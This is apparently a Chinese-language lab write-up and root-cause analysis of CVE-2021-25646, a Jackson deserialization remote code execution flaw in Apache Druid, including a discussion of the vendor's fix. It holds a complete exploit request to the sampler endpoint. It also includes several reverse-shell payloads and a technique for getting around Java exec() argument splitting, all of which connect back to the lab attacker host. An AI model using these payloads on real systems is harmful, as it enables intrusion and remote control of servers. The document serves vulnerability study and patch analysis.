背景知识

  1. ysoserial包含了许多针对通用Java依赖包的小工具链,可以在正常情况下通过使目标程序进行不安全的反序列化实现攻击利用。

  2. Gadgets

    /*
     * 	SamplerResource.post()
     *		IndexTaskSamplerSpec.sample()
     *			InputSourceSampler.sample()
     *				InputSourceSampler.buildReader()
     *					TransformSpec.decorate()
     *						TransformSpec.toTransformer()
     *							new Transformer()
     *								JavaScriptDimFilter.toFilter()
     *									JavaScriptDimFilter.getPredicateFactory()
     *										Context.compileFunction()
     *				CloseableIterator<InputRowListPlusRawValues>.next()
     *					Transformer.transform()
     *						PredicateValueMatcherFactory.matches()
     *							JavaScriptPredicateFactory.applyObject()
     *								JavaScriptPredicateFactory.applyInContext()
     *									Function.call()					
     */
    
  3. Jackson序列化

    • Jackson是Spring Boot首选的默认Json映射库,其相关依赖包很少,仅需引入jackson-databind包即可自动引入Jackson所需的全部依赖

      <dependency>
          <groupId>com.fasterxml.jackson.core</groupId>
          <artifactId>jackson-databind</artifactId>
          <version>2.10.5.1</version>
      </dependency>
      
    • Jackson vs Java Deserialization

      • Java反序列化
        • Java原生序列化是将对象序列化为字节流,字节流内包含类名等信息
        • 该字节流反序列为哪种对象由字节流中的类名决定
        • 调用点
          • 无论服务端要接受的对象是否是Java序列化流中的类,服务端都会调用Java序列化流中所有对象的readObject(如果有的话)方法,只要readObject方法有调用点,就一定能攻击成功
          • 如果反序列化的目标类与字节流中的类一致,那么还可以在处理该对象的业务逻辑中寻找调用点
      • Jackson反序列化
        • 其将对象序列化为Json字符串,Json字符串内不包含对象的类等信息

        • 该Json字符串被反序列化为哪种Class的对象都由服务端决定

        • 调用点

          Json反序列化往往在Web服务中用来接口传参,传参完成后依据这些参数进行业务处理

          • 其一是该对象的构造方法存在调用点
          • 其二是处理该请求的业务逻辑存在调用点
  4. 修复代码(Github)

    • 在GuiceAnnotationIntrospector类新增了一个findPropertyIgnorals方法用于屏蔽空字符串的解析逻辑
    • 具体修补原理见本文章末尾的分析

验证过程

  • 配置环境

  • 设备信息
    • 靶机:Ubuntu(192.168.59.130)
    • 攻击机:KaliLinux(192.168.59.131)
  • 靶机

    • 解压可执行程序包,启动Druid

      ./bin/start-micro-quickstart
      
  • 攻击机

    • 启动监听

      nc -l 5555
      
    • 启动BurpSuite,向Druid发送恶意载荷

      @Path(“/druid/indexer/v1/sampler”)

      SamplerResource.post(final SamplerSpec sampler)

      • IndexTaskSamplerSpec
        • IndexTask.IndexIngestionSpec
          • DataSchema
            • TransformSpec
              • DimFilter–>JavaScriptDimFilter
              • List<Transform>
          • IndexIOConfig
          • IndexTuningConfig
        • SamplerConfig
      POST /druid/indexer/v1/sampler HTTP/1.1
      Host: 192.168.59.130:8888
      Accept: application/json, text/plain, */*
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Content-Type: application/json
      Content-Length: 1119
      Connection: close
          
      {
          "type": "index", 
          "spec": {
              "type": "index" ,
              "ioConfig": {
                  "type": "index", 
                  "inputSource": {
                      "type": "inline", 
                      "data": "{\"timestamp\":\"9999-9-9T00:00:00.000Z\"}"
                  }, 
                  "inputFormat": {
                      "type": "json", 
                      "keepNullColumns": true
                  }
              }, 
              "dataSchema": {
                  "dataSource": "sample", 
                  "timestampSpec": {
                      "column": "timestamp", 
                      "format": "iso"
                  }, 
                  "dimensionsSpec": { }, 
                  "transformSpec": {
                      "transforms": [ ], 
                      "filter": {
                          "type": "javascript", 
                          "dimension": "added", 
                          "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.59.131/5555 0>&1')}", 
                          "": {
                              "enabled": true
                          }
                      }
                  }
              }
          }
      }
      
    • 检查攻击机,攻击机已成功getshell image-20210819132608565

攻击原理

  1. 准备环境,使用IDEA打开Druid源码工程,新增Debug配置文件如下图所示

    image-20210822180901727

  2. 解压Druid可执行压缩包,修改其中的配置文件./conf/druid/single-server/micro-quickstart/coordinator-overload,将上一步中红框中的内容粘贴到该文件中,使其在启动后在给定端口打开监听端口,从而支持远程调试。

    image-20210822181121677

  3. 启动Druid可执行文件

    ./bin/start-micro-quickstart
    
  4. 首先看org.apache.druid.query.filter.JavaScriptDimFilter的构造方法

    @JsonCreator
    public JavaScriptDimFilter(
        @JsonProperty("dimension") String dimension,
        @JsonProperty("function") String function,
        @JsonProperty("extractionFn") @Nullable ExtractionFn extractionFn,
        @JsonProperty("filterTuning") @Nullable FilterTuning filterTuning,
        @JacksonInject JavaScriptConfig config
    ) {
        Preconditions.checkArgument(dimension != null, "dimension must not be null");
        Preconditions.checkArgument(function != null, "function must not be null");
        this.dimension = dimension;
        this.function = function;
        this.extractionFn = extractionFn;
        this.filterTuning = filterTuning;
        this.config = config;
    }
    
  5. BeanDeserializer.__deserializeUsingPropertyBased()的394行、409行、488行打断点,在攻击机使用BurpSuite向靶机发送恶意包,然后一直运行到Druid处理JavaScriptDimFilter的propName为空字符串的时刻,如下如所示。

    image-20210822183834065

  6. 步入,查看PropertyBasedCreator.findCreatorProperty(),可以看到通过这个空字符串可以从HashMap中取出一个CreatorProperty,其所指向的类型是JavaScriptConfig。这是因为Jackson在解析使用了@JsonCreator的构造器时会将其所有构造器参数解析为CreatorProperty对象。

    • 构造器中使用@JsonProperty注解是必须限定该构造器参数在Json中使用的逻辑名称的,如果为空字符串则将其构造器参数名作为逻辑名称
    • @JacksonInject并未限制输入其逻辑名称,该注解修饰的构造器参数在解析成CreatorProperty对象后,会以空字符串为key、以该CreatorProperty为value,将其存入一个Hashmap中

    image-20210822185523945

  7. com.fasterxml.jackson.databind.introspect.AnnotatedConstructor类通过反射使用Constructor创建一个实例

    image-20210822192540913

  8. 因为Payload中空字符为key对应的value内容为"": {"enabled": true },所以JavaScriptDimFilter构造方法中使用@JacksonInject注解的属性从Json字符串中反序列化出了一个enabled属性为true的JavaScriptConfig对象

    image-20210822191646675

  9. JavaScriptDimFilter.getPredicateFactory()时会检查JavaScriptDimFilter的config属性中enabled属性是否为true,如果为true,才能创建JavaScriptPredicateFactory。

    这里的enabled属性在正常情况下应该是从本地配置文件读取的,但是因为Jackson反序列化时将key为空字符串的key-value映射到了JavaScriptConfig上导致这里为true,从而进入了该分支。

    image-20210824100303415

  10. JavaScriptPredicateFactory构造方法接受脚本源代码,然后在下图中红框的位置对其进行编译,将编译结果赋值给该JavaScriptPredicateFactory对象的fnApply属性

    image-20210824100701079

  11. 此处省略部分调用过程,详细调用过程见本页顶部的Gadgets代码段

  12. 最终调用到JavaScriptPredicateFactory.applyInContext(),其内部调用了fnApply的call方法,反弹shell,攻击成功

    image-20210824102233612

独立思考

1、JsonCreator、JsonProperty、JacksonInject注解都有什么作用?是如何生效的?

  • JsonCreator
    • 作用
      • 可用于定义构造器和工厂方法,不过需满足如下任一要求
        • 单参数构造器或单参数工厂方法,且参数未使用JsonProperty注解,这样的话Jackson会首先将JSON绑定到该参数的类型然后调用该Creator
        • 多参数构造器或多参数工厂方法,每个参数或是使用JsonProperty注解、或是使用JsonInject注解,用于声明该参数在JSON中相应的属性名
    • 属性
      • JsonCreator中仅有一个Mode类型mode,Mode类型是JsonCreator的内部枚举类型,其有以下几个枚举值
        • DEFAULT,伪模式,因为它告诉调用者启发式地选择Mode
        • DELEGATING,委托模式,Creator仅包含一个参数,输入的全部参数被绑定到该参数上
        • PROPERTIES,性能模式,使用Creator参数名在输入对象中进行精准或模糊匹配来完成参数映射
        • DISABLED,伪模式,用于声明该Creator不会被使用
  • JsonProperty
    • 作用
      • 可用于将非静态方法定义为一个逻辑字段的setter、getter方法
      • 可用于将一个非静态字段在序列化和反序列化过程中映射为一个逻辑字段。例如People类有个name字段,通过该注解可以将其序列化后的JSON字符串中该字段映射为nameWhatever。
    • 属性
      • value:用于定义逻辑属性名
        • 如果该属性为空则直接使用对象中的实际属性名作为逻辑属性名,若不为空则使用该属性名作为逻辑属性名

          重点

          1. 当@JsonProperty的value属性为空字符串时,Jackson序列化时会将对象的实际属性名作为逻辑属性名,而不会真的将空字符串作为json中的key,如果不看这部分的代码可能会无法理解这个问题
          2. 而@JsonInject注解用于@JsonCreator标注的构造器参数时,Jackson反序列化时会将json字符串中key为空字符串的值映射到使用@JsonInject标注的属性
          3. 所以Jackson中使用@JsonProperty不应该将逻辑名称映射为空字符串,否则在反序列化中遇到@JsonInject会引起严重的歧义
        • 当JsonProperty作用域构造器参数时,该值不得为空

      • required:用于设置在反序列化JSON字符串时其中该字段是否必须存在
        • 若该字段不存在,反序列化会失败
        • 若该字段存在但该字段对应的值为null,反序列化不受影响
      • index:用于指定当前属性在当前对象中的数值索引,该属性在二进制格式中较为常用
      • defaultValue:用于指定默认值
        • 在实践过程中发现,当JSON字符串中无该字段,反序列化后该值为null,默认值未生效
        • 在实践过程中发现,当JSON字符串中有该字段且值为null,反序列化后该值为null,默认值未生效
      • access:用于指定getter和setter的可见性,该属性为内部枚举类Access类型
        • AUTO,根据可见性规则自动判断读写权限
        • READ_ONLY,只允许在序列化过程中被读取来构造JSON字符串,但不允许在反序列化中按照JSON字符串来赋值
        • WRITE_ONLY,只允许在反序列化过程中按照JSON字符串来赋值,但不允许读取该字段的值来进行序列化
        • READ_WRITE,忽略可见性规则,该字段在序列化和反序列化中都可以访问
  • JacksonInject
    • 作用
      • 在使用Json反序列化时,我们获取的Json格式的数据对象中包含若干属性,当我们需要给它加上若干默认数据值,需要使用到@JacksonInject注解。
      • 通常该字段不是从JSON字符串中反序列化得出的,不过也可以从JSON字符串中取出覆盖掉该字段的值
  • 实践

    • 实践1-JsonProperty vs JacksonInject

      • Bean

        image-20210823094315807

      • 实践结果

        image-20210823094600263

      • 实践结论

        • 序列化
          • @JsonCreator中使用@JsonProperty所启用的逻辑名称并不能影响将对象序列化为Json字符串时所使用的逻辑名称
          • @JsonCreator中使用@JsonInject并不会使该对象在序列化时将其逻辑名称映射为空字符串
        • 反序列化
          • @JsonCreator中使用@JsonProperty所启用的逻辑名称仅是一个别名匹配规则,如果Json字符串中无该名称,则会将其变量名作为逻辑名称进行匹配
          • @JsonCreator中使用@JsonInject标识的构造器参数所对应Json字符串中key为空字符串的key-value,若Json字符串中使用的原变量名则会反序列化失败
        • 使用此种写法时,一个对象序列化出去的Json字符串无法成功反序列化成原来的对象,会因为@JsonInject会把key为空字符串的key-value作为自己的映射来源,而在序列化时将其的key序列化为了其原属性名
    • 实践2-JacksonInject

      • Bean

        image-20210823174117361

      • 实践结果

        image-20210823175519412

      • 实践结论

        • 序列化
          • 不受影响,@JacksonInject标注的属性会按属性名序列化到Json中
        • 反序列化
          • 如果Json字符串中存在key为空字符串的key-value,则将其映射到@JacksonInject标注的构造器方法参数上
          • 若无key为空字符串的key-value,则将@JacksonInject的value属性值作为逻辑名称从ObjectMapper的InjectableValues中获取。其内部为HashMap结构,若逻辑名称符合且目标类型与InjectableValues中存储的对象类型匹配,则将其映射到@JacksonInject标注的构造器方法参数上
    • 实践3-Jackson with Lombok

      • Bean

        image-20210823181140786

      • 实践结果

        image-20210823181344299

      • 实践结论

        • Lombok的@Data注解的作用是为Bean生成Getter、Setter、ToString、Equals、HashCode、Constructor方法,Jackson之后会通过Getter、Setter进行序列化和反序列化操作
        • 因为此时并未使用@JsonCreator注解,因此无法使用构造器注入。此时Jackson仅能通过无参构造器创建对象,然后通过Setter将值赋予其内部的各个属性。
        • @JacksonInject标注在属性上而不是构造器方法上,因此在反序列化该值时,它会从InjectableValues获取相应的属性,而不会去寻找空字符串的key,因此在本次实践中的第二次序列化会存在报错。

2、Linux的标准输入、标准输出、标准错误分别是什么?

  • Linux中无论是文档,还是各种硬件设备,只要是资源,就都看作文件。

  • stdin、stdout、stderr通过链接指向了/proc/self/fd文件夹下的三个文件

    image-20210819160523475

  • /proc目录是一个伪文件系统,它只存在于内存之中,不占用磁盘任何空间,它以文件系统的方式为访问系统内核数据等操作提供接口

    • 当读取/proc目录时是根据用户需要从系统内核读取所需信息生成的
    • 当修改/proc目录时将会影响到内核中的参数
    • 由于它是根据用户运行环境和需要从内核获取的信息,因此不同的进程获取的文件内容是不同的
  • 所以,stdin、stdout、stderr通过指向/proc/self/fd目录下的内容实现了不同的进程可以有不同的标准输入、标准输出、标准错误

    image-20210819161808152

  • 可以看出标准输入、标准输出、标准错误是三个文件标识符,分别指向了三个文件,这些文件可以是设备文件、Socket文件、普通文本文件

  • 所谓的输入重定向就是改变标准输入文件标识符所指向的文件,<操作符左侧不写内容时默认是将标准输入重定向到该操作符右侧的文件中

    image-20210819162946467

  • 所谓的输出重定向就是改变标准输出文件标识符所指向的文件,>操作符左侧不写内容时默认是将标准输出重定向到该操作符右边的文件中

    image-20210819162830789

  • 既然标准输入、标准输出、标准错误都是引用,那么就能通过&操作符进行解引用,cat命令用于输出文件内容,通过输入重定向将其指向标准输入文件标识符解引用后的文件,此时我们在终端中输入什么内容点击回车后终端就会回显什么内容,因为此时cat所指向的文件就是/dev/pts/0文件

    image-20210819163352916

3、通过Terminal反弹shell有什么Payload,生效原理是什么?

bash -i >& /dev/tcp/192.168.59.131/5555 0>&1
命令 含义
bash 执行/bin/bash程序
-i 创建一个交互式bash,这个交互式shell有标准输入、标准输出、标准错误
>& /dev/tcp/192.168.59.131/5555 >&用于将其前面的内容(bash -i)与后面的内容混合在一起交给它后面的内容(/dev/tcp/192.168.59.131)。若无该指令则无法将bash转变为webshell。至于这里使用&操作符的原因类似于对标准输入、标准输出使用该操作符的原因一样,/dev/tcp/192.168.59.131/5555指向了一个socket连接,而磁盘上从未出现过/dev/tcp/192.168.59.131/5555这个文件
/dev/tcp/192.168.59.131/5555 Linux中无论是文档,还是各种硬件设备,只要是资源,就都看作文件。/dev/tcp/ip/port则指的是一个发往指定ip和port的tcp连接资源。如果在文件系统中实际去看的话,/dev/目录下实际上是没有tcp文件夹的,打开该目录下的文件相当于建立一次socket连接。
在192.168.59.131上运行nc -lvvp 5555
在192.168.59.130上运行 echo “233333” > /dev/tcp/192.168.59.131/5555
在192.168.59.131的监听中可以收到发来的”233333”
0>&1 0是标准输入,1是标准输出,>为输出重定向符用于指定新的设备代替显示器作为新的输出设备
常规情况下是将标准输出重定向到某个文件,如1>app.log,这样标准输出就指向了app.log文件
而标准输入和标准输出实际上已经有自己指向的文件,所以需要用&取其真实文件名,因为当前工作目录下没有文件名为0、1、2的文件
若无该指令,攻击方只能发送指令但不能接收执行结果,被攻击方在该bash中的键盘输入也会发送给攻击方
  • >& /dev/tcp/192.168.59.131/55550>&1不能交换位置

    • 若不颠倒顺序

      • 执行原理:因为首先将标准输出重定向到socket上面,然后再将标准输入重定向到标准输出,就可以将标准输入和标准输入全部重定向到socket上面
      • 执行效果:靶机失去该bash的标准输入、标准输出的控制器,无法通过Ctrl+C终端该进程,因为该bash的标准输入已经重定向到socket上面。攻击机可以输入指令,输入完成后点击回车,会将用户输入的指令和指令的处理结果回显到屏幕上。

      image-20210819164638854

    • 如果颠倒顺序

      • 执行原理:按照命令顺序,首先将标准输入重定向到标准输出,此时标准输入和标准输出都是同一个设备/dev/pts/0,然后再将标准输出重定向到socket,那么就只有标准输出反弹到了攻击机,标准输入还保留在靶机上
      • 执行效果:攻击机除了显示内容,无法对bash进行任何操作。靶机所输入的内容会实时显示到攻击机,靶机输入指令可以正常执行并且结果回显到攻击机,然而靶机毫无回显。

      image-20210819164805700

4、java.lang.Runtime.getRuntime().exec()执行有哪些常用Payload,为什么有些Payload会不生效?

  • Payload在Java中生效

    import java.io.IOException;
      
    public class Sample {
        public static void main(String[] args) {
            try {
                Runtime.getRuntime().exec(
                    new String[]{"/bin/bash",
                                 "-c", 
                                 "bash -i >& /dev/tcp/192.168.59.131/5555 0>&1"});
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    

    image-20210820105158824

    • 直接传入字符串数组后,不会再次对其使用间隔符间隔符进行分割,从而保证了”bash -i >& /dev/tcp/192.168.59.131/5555 0>&”作为一个完整的参数传输给/bin/bash作为bash脚本解析指向
  • Payload在Java中不生效,但是该命令在Terminal直接运行可以反弹shell

    import java.io.IOException;
      
    public class Sample {
        public static void main(String[] args) {
            try {
                Runtime.getRuntime().exec("bash -i >& /dev/tcp/192.168.59.131/5555 0>&1");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    

    image-20210820104842610

    • 直接传入字符串时,它会通过StringTokenizer对字符串进行分割将其分割为[“bash”, “-i”, “>&”, “/dev/tcp/192.168.59.131/5555”, “0>&1”]
    • StringTokenizer所使用的分隔符包括[” “空格, “\t”制表符, “\r”回车, “\n”回车换行, “\f”换页],所以只需要不是这几个分隔符中的元素就不会被切割字符串
  • Payload在Java不生效,在Terminal执行报错ambiguous redirect

    import java.io.IOException;
      
    public class Sample {
        public static void main(String[] args) {
            try {
                Runtime.getRuntime().exec("bash${IFS}-i${IFS}>&${IFS} /dev/tcp/192.168.59.131/5555${IFS}0>&1");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    
    • 在Linux系统的bash中有几个默认变量,其中${IFS}会被解析为空格
    • 当时此时会报错,可能${IFS}与文件描述符0不能连用
  • Payload在Java中不生效,在Terminal中可以反弹shell

    import java.io.IOException;
      
    public class Sample {
        public static void main(String[] args) {
            try {
                Runtime.getRuntime().exec("bash${IFS}-i${IFS}>&${IFS} /dev/tcp/192.168.59.131/5555 0>&1");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    
    • 此处不明白为什么不生效
  • Payload在Java中生效,在Terminal中执行不清楚为什么shell会自动退出

    import java.io.IOException;
      
    public class Sample {
        public static void main(String[] args) {
            try {
                Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.59.131/5555 0>&1");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    
    • 经过分割后变成[“/bin/bash”, “-c”, “$@|bash”, “0”, “echo”, “bash”, “-i”, “>&”, “/dev/tcp/192.168.59.131/5555”, “0>&1”]

    • 各个参数含义如下

      命令 含义
      /bin/bash 调用bash程序
      -c bash的参数,从脚本中获取bash命令
      $@ 获取命令行参数
      | 管道符,将其之前的输出交给其之后的命令作为命令参数
      bash 调用bash程序
      0 此处可为任意字符串,因为bash -c ‘script’ scriptname,此处为脚本的名称
      echo 用于将其后面的所有内容进行打印输出
      bash -i >& /dev/tcp/192.168.59.131/5555 0>&1 用于反弹shell的Payload,此时被分割为多个命令行参数
    • 命令被bash解析的流程如下

      • 初始命令

        /bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.59.131/5555 0>&1
        
      • bash读取-c选项,将其后第一个参数作为脚本,将其后第二个非选项参数作为脚本名,将其后所有参数作为该脚本的命令行输入参数

        $@|bash echo bash -i >& /dev/tcp/192.168.59.131/5555 0>&1
        
      • $@操作符为shell内默认的操作符,用于表示所有命令行参数

        echo bash -i >& /dev/tcp/192.168.59.131/5555 0>&1 | bash
        
      • 此时命令为echo,它将此时管道符前的所有命令行参数作为自己的命令行参数进行执行,将其后所有内容作为字符串打印

        bash -c bash -i >& /dev/tcp/192.168.59.131/5555 0>&1
        
      • 此时转化为了最初始的Payload

5、为什么使用GuiceAnnotationIntrospector可以解决Druid的反序列化漏洞?

  • 继承关系

    • GuiceAnnotationIntrospector–>NopAnnotationIntrospector–>AnnotationIntrospector
    • AnnotationIntrospector定义了基于注解的序列化操作和反序列化操作的内省API,通过这些API可以是其支持大量不同的注解。
    • NopAnnotationIntrospector是AnnotationIntrospector的空实现,其同样是一个抽象类,在进行自定义实现时,最好继承NopAnnotationIntrospector,而不是直接继承AnnotationIntrospector
    • GuiceAnnotationIntrospector重写了findInjectableValueId方法和findPropertyIgnorals方法,其中findPropertyIgnorals用于解决CVE-2021-25646远程代码执行漏洞
  • 相关类

    • @JsonIgnoreProperties注解用于在序列化和反序列化过程中屏蔽掉指定字段

    • AnnotatedParameter–>AnnotatedMember–>Annotated

      • Annotated是一个通向的基类(抽象类),其实现类均会被存放在AnnotationMap中
        • 其内部有一个方法hasAnnotation(Class<?> acls)用于判断当前Annotated对象上是否带有某个指定注解
      • AnnotatedMember是一个中间基类(抽象类)
        • 其实现类为类的字段、方法、构造器等
        • 其内部有一个AnnotationMap类型的属性,其名称为 _annotations,其内部存储了当前AnnotatedMember对象上所附带的注解
      • AnnotatedParameter是一个具体类,其代表了方法参数
    • JacksonAnnotationValue接口,其内部仅有一个valueFor方法,用于获取当前JacksonAnnotationValue对象的值来源于哪个注解

      public interface JacksonAnnotationValue<A extends Annotation> {
          public Class<A> valueFor();
      }
      
    • @JsonIgnoreProperties.Value是一个实现了JacksonAnnotationValue接口的内部类,其内部有二十多个方法

      @Override
      public Class<JsonIgnoreProperties> valueFor() {
          return JsonIgnoreProperties.class;
      }
      
  • 代码

      @Override
      public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
      {
          if (ac instanceof AnnotatedParameter) {
              final AnnotatedParameter ap = (AnnotatedParameter) ac;
              if (ap.hasAnnotation(JsonProperty.class)) {
                  return JsonIgnoreProperties.Value.empty();
              }
          }
      
          return JsonIgnoreProperties.Value.forIgnoredProperties("");
      }
    
    • 首先检查其是否是方法参数,如果是将其转换为AnnotatedParameter对象
      • 检查该参数是否带有@JsonProperty注解,如果有,则调用JsonIgnoreProperties.Value.empty()返回一个需忽略的逻辑名称集合为空的JsonIgnoreProperties.Value,即无需忽略
    • 否则,调用JsonIgnoreProperties.Value.forIgnoredProperties("")返回一个仅包含一个需屏蔽逻辑名称的JsonIgnoreProperties.Value,这个需要被屏蔽的逻辑名称就是空字符串,而空字符串是CVE-2021-25646漏洞的关键
  • 结论

    • 该修补方案是采用黑名单的方式,屏蔽掉了空字符串的解析。

产生过的疑问

  1. JsonCreator、JsonProperty、JsonInject注解都有什么作用?是如何生效的?
  2. Linux的标准输入、标准输出、标准错误分别是什么?
  3. 通过Terminal反弹shell有什么Payload,生效原理是什么?
  4. java.lang.Runtime.getRuntime().exec()执行有哪些常用Payload,为什么有些Payload会不生效?
  5. 为什么使用JsonIgnoreProperties.Value可以解决Druid的反序列化漏洞?